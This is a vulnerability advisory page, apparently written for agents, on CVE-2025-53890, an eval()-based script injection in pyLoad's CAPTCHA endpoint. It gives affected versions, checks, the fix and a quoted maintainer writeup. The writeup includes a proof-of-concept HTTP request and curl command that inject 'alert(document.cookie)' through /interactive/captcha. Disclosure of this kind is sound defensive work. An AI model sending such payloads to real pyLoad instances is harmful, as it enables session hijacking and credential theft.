---
id: "CVE-2025-53890"
page: "https://infrastack.ai/live/CVE-2025-53890"
kind: "vulnerability"
aliases: ["CVE-2025-53890", "GHSA-8w3f-4r8f-pf53"]
title: "pyLoad vulnerable to XSS through insecure CAPTCHA"
severity: "critical"
cvss: 9.8
epss: 0.01298
exploited: false
status: "open"
category: "package"
products: [{"name": "pyload-ng", "fixed": ["0.20"], "affected": "< 0.20", "ecosystem": "pypi"}]
ecosystems: ["pypi"]
tags: ["cwe-79", "cwe-94", "package", "pyload", "python", "self-hosted"]
not_affected_if: ["pyload-ng-0.20-or-later", "web-interface-not-exposed"]
published_at: "2025-07-15T00:15:24+00:00"
first_seen_at: "2026-11-16T16:08:25+00:00"
updated_at: "2026-11-16T16:38:06+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-8w3f-4r8f-pf53", "first_seen_at": "2026-11-16T16:08:25+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53890", "first_seen_at": "2026-11-16T16:38:06+00:00"}]
exploit_sources: [{"type": "epss", "score": 0.01298, "url": "https://api.first.org/data/v1/epss?cve=CVE-2025-53890"}]
---

# pyLoad vulnerable to XSS through insecure CAPTCHA

Link for people: https://infrastack.ai/live/CVE-2025-53890 (this .md is for agents)

pyLoad passes CAPTCHA responses from its web interface directly into a JavaScript eval() call with no validation. A remote attacker can send a crafted response to the interactive CAPTCHA endpoint to run script in a user's browser and potentially on the server, leading to session hijacking and credential theft.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- pypi:pyload-ng affected < 0.20 fixed 0.20

## How to check

- Check the installed version with `pip show pyload-ng`; versions below `0.20` are affected.
- Check whether the web interface is reachable from untrusted networks on the port pyLoad listens on (default `8000`).
- Look for the file `src/pyload/webui/app/static/js/captcha-interactive.user.js` in the installed package and see whether it calls `eval(` on the CAPTCHA result.

## Fix

- `pyload-ng` to `0.20`, which is the fixed version in the product data.

## Timeline

- 2026-11-16T16:08:25+00:00 ghsa https://github.com/advisories/GHSA-8w3f-4r8f-pf53
- 2026-11-16T16:38:06+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2025-53890

## Documents

- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/pyload/pyload/security-advisories/GHSA-8w3f-4r8f-pf53
- [advisory] Maintainer's advisory: github.com https://github.com/pyload/pyload/security/advisories/GHSA-8w3f-4r8f-pf53
- [fix] Patch: github.com https://github.com/pyload/pyload/pull/4586
- [fix] Patch: github.com https://github.com/pyload/pyload/commit/909e5c97885237530d1264cfceb5555870eb9546

## From the sources

#### Summary
An unsafe JavaScript evaluation vulnerability in pyLoad’s CAPTCHA processing code allows **unauthenticated remote attackers** to execute **arbitrary code** in the client browser and potentially the backend server. Exploitation requires no user interaction or authentication and can result in session hijacking, credential theft, and full system rce.



#### Details
The vulnerable code resides in 
```javascript
function onCaptchaResult(result) {
    eval(result); // Direct execution of attacker-controlled input
}
```

* The `onCaptchaResult()` function directly passes CAPTCHA results (sent from the user) into `eval()`
* No sanitization or validation is performed on this input
* A malicious CAPTCHA result can include JavaScript such as `fetch()` or `child_process.exec()` in environments using NodeJS
* Attackers can fully hijack sessions and pivot to remote code execution on the server if the environment allows it



### Reproduction Methods
1. **Official Source Installation**:
```bash
git clone https://github.com/pyload/pyload
cd pyload
git checkout 0.4.20
python -m pip install -e .
pyload --userdir=/tmp/pyload
```

2. **Virtual Environment**:
```bash
python -m venv pyload-env
source pyload-env/bin/activate
pip install pyload==0.4.20
pyload
```

## CAPTCHA Endpoint Verification


**Technical Clarification**:  
1. The vulnerable endpoint is actually:
   ```
   /interactive/captcha
   ```

2. Complete PoC Request:
```http
POST /interactive/captcha HTTP/1.1
Host: localhost:8000
Content-Type: application/x-www-form-urlencoded

cid=123&response=1%3Balert(document.cookie)
```

3. Curl Command Correction:
```bash
curl -X POST "http://localhost:8000/interactive/captcha" \
  -d "cid=123&response=1%3Balert(document.cookie)"
```


1. **Vulnerable Code Location**:  
   The eval() vulnerability is confirmed in:
   ```
   src/pyload/webui/app/static/js/captcha-interactive.user.js
   ```



### **Resources**

1. https://github.com/pyload/pyload/commit/909e5c97885237530d1264cfceb5555870eb9546
2. [OWASP: Avoid `eval()`](https://cheatsheetseries.owasp.org/cheatsheets/JavaScript_Security_Cheat_Sheet.html#eval)
3. [#4586](https://github.com/pyload/pyload/pull/4586)

---

_Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai_
